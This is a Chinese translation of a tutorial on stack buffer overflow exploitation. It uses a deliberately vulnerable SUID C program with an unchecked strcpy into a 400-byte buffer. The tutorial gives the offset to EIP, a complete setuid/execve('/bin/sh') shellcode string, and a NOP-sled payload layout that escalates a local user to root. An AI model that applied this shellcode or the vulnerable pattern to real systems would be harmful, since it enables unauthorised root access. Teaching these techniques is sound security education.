绘画二进制攻击0x000002的艺术【ROP巫术使用】
2023-3-22 12:32:0 Author: xz.aliyun.com(查看原文) 阅读量:17 收藏

文章分类:二进制安全

文章来源:https://7h3h4ckv157.medium.com/into-the-art-of-binary-exploitation-0x000002-sorcery-of-rop-b4658238ee62

嗨,黑客们。✋✋我又带着二进制攻击系列的下一篇文章回来了。我已经为从未使用过这项技术的人的打开了入口。我在上次的文章中保证了简单的步骤来解释这个主题,接下来依然会这样。所以如果你对二进制技术没有一点的了解,那么可以查看我的上篇文章。

深度解析

在上一篇文章中,我们忽略了root。接下里我要解释超级用户权限。在Linux中,没有root,我们就不能做任何事情。SUID二进制剥削固化一个二进制使用一个SUID比特设置,标准说法是"Set owner User Id"(设置用户ID)。通常用来对应用进行额外的授权。如果SUID比特位被社区,当我们的命令执行时,它实际上会获取的是记录的操作系统的所有的UID而不仅仅是正在使用的UID。所以,任何程序的操作都可以执行。

我们滥用了超级用户下的二进制文件会发生什么呢?

写一个例子,我制造了一个可执行的二进制,到以通过命令查看

find /-perm -u=s -type f 2> /dev/null

源代码如下。显然,这是一个可执行二进制漏洞的源代码,显然这是我的一个简单的例子,文件名vuln.c。有些人一眼能看明白,不过对于一些人来说仍然可以补充解释。

/** Written in C **/
#include<string.h> 
#include<stdio.h>   
#include<stdlib.h>   


void abracadabra(char *fun) {   
    char data[400];   
    strcpy(data,fun); 
    printf("copied..!!");    
}   


int main(int argc, char* argv[]) {   
    if (argc != 2) {    
        printf("No input provided..!");   
        return 1;   
    }   
    abracadabra(argv[1]);    
    return 0;   
}/** end **/

如果我们不进行任何输入,那么执行的具体代码是:

if (argc != 2) {
                printf(No input provided..!);
                return 1;
                }

argv[1]是一个指向所提供命令行参数的指针。提供的输入被传递到abracadabra函数,并被输入到400大小的缓冲区。

(1)abracadabra(argv[1])

(2)void abracadabra(char *fun){

char data[400];

strcpy(data,fun);

printf("cpoyed..!");

}

一般来说这已经是足够说明是如何工作的了。但是你注意到在这段简单的代码中的漏洞了吗?如果你看过我的系列文章,你就会知道我接下来将要做什么。这段程序异常的简单,目的是为了对应真实世界的例子。大多数编程框架和编译器都有一些默认的亮点来预测缓冲区溢出问题。标准计算机上高亮的严重安全问题通常是一个美丽而又可怕的,因此我将做一个演示,公平的描述这一切。

函数abracadabra中的strcpy函数没有检查缓冲区的长度,这可能导致意料之中的内存区域重相邻目的内存地址。如果是作为一个set-root-uid程序运行,一个普通用户可以使用这个缓冲区溢出漏洞并且提升到root权限。整个函数家族,包括strcpy,strcat和strcmp也是很类似的漏洞。让我们从汇编层面深入了解这段代码。我利用python脚本分析实际的内存崩溃区。

exp通过gdb传递,并且分析EIP。记住EIP是指令指针或者32位进程的程序数量,RIP是指令指针或者64位进程的程序数量。在之前的系列文章中,我指定的是64位(RIP)。

目前的工作很简单,我能够通过一个简单的脚本分析值。

412是EIP之前的虚拟边界的最大容量。后面的比特位会被溢出到EIP。412+4(d、a、a、e)=416

我过去发现了一个合适53黛大小的shell-code。

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"

我将会写入栈中359个NOP。在计算机安全中,一个NOP可以是一个NOP(无操作)指令暗示着CPU's的指令执行流程略过它将滑动到最后目的地。我们希望推入NOP在shellcode之前填充缓冲区。

NOP 滑动窗 (359) + Shellcode (53) + eip (0xffffcd90)

溢出发生在EIP到所计算的栈结束的地址。地址集中在执行NOP指令(无操作)的栈中,最后,它会到达shellcode,这将开始执行!!

没有任何安全检测,我们转换到了最高权限的超级用户。


文章来源: https://xz.aliyun.com/t/12332
如有侵权请联系:admin#unsafe.sh